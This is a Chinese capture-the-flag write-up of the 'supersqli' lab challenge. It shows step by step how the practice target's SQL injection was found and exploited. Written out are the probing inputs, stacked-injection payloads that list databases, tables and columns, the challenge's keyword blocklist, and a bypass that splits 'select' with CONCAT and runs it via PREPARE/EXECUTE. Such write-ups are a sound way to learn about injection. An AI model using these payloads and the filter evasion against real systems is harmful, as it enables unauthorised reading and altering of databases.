当前位置: 首页 > article >正文

45,【3】攻防世界supersqli

进入靶场

提交1看看回显

尝试输入1 and1=1,1 and 1=2没有什么反应,当输入1'时报错了

输入1''时又正确了

尝试1' or 1=1#

尝试1' union select 1,2#

搜索知:

这段代码使用了 PHP 的 preg_match 函数,其主要目的是对变量 $inject 的内容进行正则表达式匹配。该正则表达式 /select|update|delete|drop|insert|where|\./i 旨在检查 $inject 中是否包含了一些可能用于 SQL 注入的敏感关键词,包括 select、update、delete、drop、insert、where 以及 . (. 可能用于表示数据库名、表名等部分,在 SQL 注入中可能被恶意利用)。这里的 i 修饰符表示不区分大小写匹配,所以无论是 SELECT 还是 select 都会被匹配到。

想办法绕过

使用其他方法,比如堆叠注入(之前的博客提到过)

详见下图

1';show databases;

第一种         1';use supersqli;show tables;

第二种              1';show tables from supersqli;

两种方法都可

 1';use  supersqli; show columns from `1919810931114514`;

1';show columns from `1919810931114514`;

两种都可

最后一步查看数据还是出现了select,看了其他wp,可以通过函数拼接起来

比如这样

1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

搜索知

使用 stmt 作为变量名称只是一种约定俗成的做法

糟糕

此处没有限制大小写,可以把set改为Set,也可以把prepare改为Prepare

都能得到flag

over

笔记

1,做题先判断是什么类型的注入

2,此题用到堆叠注入相关知识

      


http://www.kler.cn/a/506196.html

相关文章:

  • 什么是基础镜像
  • 使用Flink-JDBC将数据同步到Doris
  • An FPGA-based SoC System——RISC-V On PYNQ项目复现
  • 全网首发:编译libssh,产生类似undefined reference to `EVP_aes_256_ctr@OPENSSL_1_1_0‘的大量错误
  • 一文读懂高频考题!进程、线程、协程最全方位对比剖析
  • Python线性混合效应回归LMER分析大鼠幼崽体重数据、假设检验可视化|数据分享...
  • LeetCode 热题 100 | 矩阵
  • 晨辉面试抽签和评分管理系统之九:随机编排考生的分组(以教师资格考试面试为例)
  • Python爬虫:获取详情接口和关键词接口
  • python(25) : 含有大模型生成的公式的文本渲染成图片并生成word文档
  • 1/13+2
  • [RabbitMQ] RabbitMQ运维问题
  • Sass初探:嵌套只是开始,解锁Sass更多功能
  • 利用Java爬虫获取淘宝商品描述item_get_descAPI接口
  • 旅游网站设计与实现
  • 深度学习blog-剪枝和知识蒸馏
  • 强化学习的数学原理(七-3)TD算法总结
  • PHP中的魔术函数
  • SpringMVC Idea 搭建 部署war
  • 【React】插槽渲染机制
  • openharmony应用开发快速入门
  • Go实现设计模式
  • Python语言的编程范式
  • C++(二十)
  • 在 Azure 100 学生订阅中新建 Ubuntu VPS 并部署 Mastodon 服务器
  • 使用 `npm install` 时遇到速度很慢的问题